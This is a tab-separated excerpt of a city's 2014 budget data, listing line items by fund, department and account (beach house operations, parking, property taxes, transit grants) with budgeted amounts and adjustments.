12529	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	72681.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72681.0
12530	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12531	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
12532	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	26295.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26295.0
12533	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	15750.0	0	0	0	0	0	539.98	0	0	0	0	0.0	16289.98
12534	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	2457.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2457.0
12535	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	908.0	0	0	0	0	0	0.0	0	0	0	0	0.0	908.0
12536	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2014	15375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15375.0
12537	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522150.0	STORMWATER MANAGEMENT	810.0	 Supplies and Expenses	2014	6400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6400.0
12538	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	44459.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44459.0
12539	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	34932.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34932.0
12540	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2014	11342.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11342.0
12541	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2014	-390000.0	0	0	0	0	0	64000.0	0	0	0	0	0.0	-326000.0
12542	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2014	-961393.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-961393.0
12543	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2014	-1004250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1004250.0
12544	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522910.0	VEHICLES - FUELS / LUBRICATION	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
12545	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410150.0	BIKE RACKS	612.0	Charges for Service	2014	-962.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-962.0
12546	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	553012.0	OTS SOBRIETY CHECKPOINT 2013	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	5800.0	5800.0
12547	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	556250.0	RETROFIT INCENTIVE	866.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	200000.0	0	0	0	0	0.0	200000.0
12548	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	1738.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1738.0
12549	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562702.0	ONE-TIME GRANT SET-ASIDE		 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
12550	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	408450.0	TMD ASSESSMENT	622.0	Other	2014	-18191.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-18191.0
12551	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2014	-208040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-208040.0
12552	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-500.0
12553	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	2374.0	0	0	0	0	0	79.0	0	0	0	0	0.0	2453.0
12554	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	7354.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7354.0
12555	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	6100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6100.0
12556	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	23000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23000.0
12557	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
12558	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	396768.0	0	0	0	0	6678	67815.4	0	0	0	0	0.0	471261.4
12559	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1025.0
12560	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2014	685.0	0	0	0	0	0	0.0	0	0	0	0	0.0	685.0
12561	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	810.0	 Supplies and Expenses	2014	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
12562	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555210.0	TRAINING	810.0	 Supplies and Expenses	2014	1100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1100.0
12563	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533213.0	FAC MAINT-PREVENTATIVE MAINT	810.0	 Supplies and Expenses	2014	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
12564	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577500.0	TRANSFERS FROM / TO FUND	810.0	 Supplies and Expenses	2014	103427.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103427.0
12565	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522180.0	BANK FEES	804.0	 Supplies and Expenses	2014	60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	60000.0
12566	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	3813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3813.0
12567	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409150.0	PASSPORT SERV PHOTOS	612.0	Charges for Service	2014	-6600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6600.0
12568	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561111.0	CHRYSALIS EMPLYMNT CTR-PROP A	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
12569	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561113.0	OPCC ACCESS CTR-PROP A	808.0	 Supplies and Expenses	2014	7400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7400.0
12570	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		VENICE FAMILY CLINIC-PROP A	808.0	 Supplies and Expenses	2014	3986.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3986.0
12571	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	165000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	165000.0
12572	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577703.0	PROP A REIMBURSEMENT ADMIN	910.0	 Supplies and Expenses	2014	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
12573	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	569300.0	BIKE VALET-PICO LIBRARY	816.0	 Supplies and Expenses	2014	9567.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9567.0
12574	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	5249.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5249.0
12575	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2014	-4900.0	0	0	0	0	0	0.0	4900	0	0	0	0.0	0.0
12576	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400020.0	PROPERTY TAXES - UNSECURED	602.0	Property Taxes	2014	-950000.0	0	0	0	0	0	-73000.0	0	0	0	0	0.0	-1023000.0
12577	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400060.0	PROPERTY TAXES-DEL-SEC/UNSEC	602.0	Property Taxes	2014	-672300.0	0	0	0	0	0	-127700.0	0	0	0	0	0.0	-800000.0
12578	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2014	-26432071.0	0	0	0	0	0	-244273.0	0	0	0	0	0.0	-26676344.0
12579	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579001.0	DISCRET-SECTION 8 ASST	804.0	 Supplies and Expenses	2014	100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100000.0
12580	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579008.0	DISCRET-GRADES FOR GREEN	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0	20000	0.0	0	0	0	0	0.0	20000.0
12581	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	406799.0	13 UASI GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-47000.0	-47000.0
12582	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	576513.0	OTS STEP GRANT 2013	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	3000.0	3000.0
12583	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2014	278875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	278875.0
12584	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-1489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1489.0
12585	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	509.0	0	0	0	0	0	0.0	0	0	0	0	0.0	509.0
12586	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	1200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1200.0
12587	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2014	-1433025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1433025.0
12588	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2014	-2433175.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2433175.0
12589	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408640.0	CO ESPLANADE - CMAQ	610.0	Intergovernmental	2014	-929830.0	0	0	0	-168170	0	0.0	0	0	0	0	0.0	-1098000.0
12590	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400308.0	VALET PARKING METER RENTAL	608.0	Licenses and Permits	2014	-530000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-530000.0
12591	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401328.0	PERMITS -PARKING STRUCTURE 7&8	608.0	Licenses and Permits	2014	-187308.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-187308.0
12592	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2014	-500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-500000.0
12593	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522160.0	TRANSFER STATION FEE		 Supplies and Expenses	2014	1828.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1828.0
12594	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2014	54500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	54500.0
12595	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	211276.0	0	0	0	0	0	31057.0	0	0	0	0	0.0	242333.0
12596	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	13837.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13837.0
12597	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2014	417.0	0	0	0	0	0	53.0	0	0	0	0	0.0	470.0
12598	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	370.0	0	0	0	0	0	0.0	0	0	0	0	0.0	370.0
12599	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	5698.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5698.0
12600	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	33024.0	0	0	0	0	0	1416.67	0	0	0	0	0.0	34440.67
12601	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-16025.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16025.0
12602	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	210844.0	0	0	0	0	0	7331.81	0	0	0	0	0.0	218175.81
12603	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2014	1984.0	0	0	0	0	0	83.33	0	0	0	0	0.0	2067.33
12604	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2014	-5100000.0	0	0	0	0	0	-700000.0	0	0	0	0	0.0	-5800000.0
12605	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400843.0	VLF SWAP	602.0	Property Taxes	2014	-8756739.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-8756739.0
12606	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	406040.0	ABC GRANT 2013	610.0	Intergovernmental	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	-3562.0	-3562.0
12607	B1	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1000.0
12608	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578841.0	JUSTICE ASSIST GRANT 2013-OT	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0	0	0.0	0	0	0	0	29283.0	29283.0
12609	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	375.0	0	0	0	0	0	0.0	0	0	0	0	0.0	375.0
12610	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	2101.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2101.0
12611	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566020.0	HOUSEHOLD HAZARDOUS WASTE GRAN	808.0	 Supplies and Expenses	2014	0.0	0	0	0	27598	0	0.0	0	0	0	0	0.0	27598.0
12612	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2014	-200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200.0
12613	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		REAL BEACH PKG FED STP-L	610.0	Intergovernmental	2014	0.0	0	0	-440884	0	0	0.0	0	0	0	0	0.0	-440884.0
12614	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	400774.0	1630 17TH ST SUBLEASE	618.0	Rentals	2014	-109487.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-109487.0
12615	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2014	-14680000.0	0	0	0	0	0	750000.0	0	0	0	0	0.0	-13930000.0
12616	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	44252.0	0	0	0	0	0	375.0	0	0	0	0	0.0	44627.0
12617	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2806042.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2806042.0
12618	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400610.0	USE OF PUBLIC PROPERTY PERMITS	612.0	Charges for Service	2014	-488071.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-488071.0
12619	B1	IS	4	Special Revenue Source Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	42912.0	0	0	0	0	0	-42912.0	0	0	0	0	0.0	0.0
12620	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401810.0	ENCROACHMENT REVENUE	622.0	Other	2014	-3888.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3888.0
12621	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	4300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4300.0
12622	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	440.0	0	0	0	0	0	0.0	0	0	0	0	0.0	440.0
12623	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
12624	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	20910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20910.0
12625	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	122400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	122400.0
12626	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2014	924906.0	0	0	0	0	0	0.0	0	0	0	0	0.0	924906.0
12627	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402830.0	CITY YARDS CONV FUEL STN REPL	650.0	Charges for Service	2014	0.0	0	0	0	0	0	-75000.0	0	0	0	0	0.0	-75000.0
12628	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402940.0	BEACH CONV FUEL STN REPL	650.0	Charges for Service	2014	0.0	0	0	0	0	0	-7500.0	0	0	0	0	0.0	-7500.0
12629	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2014	67855.0	0	0	0	66319	0	0.0	0	0	0	0	0.0	134174.0
12630	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	615.0	0	0	0	0	0	0.0	0	0	0	0	0.0	615.0
12631	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-504300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-504300.0
12632	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2014	-255000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-255000.0
12633	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	296844.0	0	0	0	0	0	0.0	0	0	0	0	0.0	296844.0
12634	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	13828.0	0	0	0	0	0	708.0	0	0	0	0	0.0	14536.0
12635	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	588090.0	FURNITURE & FURNISHINGS	810.0	 Supplies and Expenses	2014	49694.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49694.0
12636	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EAP	804.0	Salaries and Wages	2014	783.0	0	0	0	0	0	208.33	0	0	0	0	0.0	991.33
12637	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DCAP	804.0	Salaries and Wages	2014	540.0	0	0	0	0	0	125.0	0	0	0	0	0.0	665.0
12638	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	863.0	0	0	0	0	0	395.83	0	0	0	0	0.0	1258.83
12639	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	523010.0	ENVIRONMENTAL SERVICES FEE	808.0	 Supplies and Expenses	2014	2650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2650.0
12640	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	17323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17323.0
12641	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	194080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	194080.0
12642	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	804.0	Salaries and Wages	2014	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
12643	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	2883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2883.0
12644	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER OUT TO HOUSING FUND	910.0	 Supplies and Expenses	2014	265790.0	0	0	0	0	0	181000.0	0	0	0	0	0.0	446790.0
12645	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561114.0	OPCC DAYBREAK-PROP A	808.0	 Supplies and Expenses	2014	1900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1900.0
12646	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-DISBLD (SMARS)	808.0	 Supplies and Expenses	2014	30000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	30000.0
12647	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-YOUTH	808.0	 Supplies and Expenses	2014	51600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51600.0
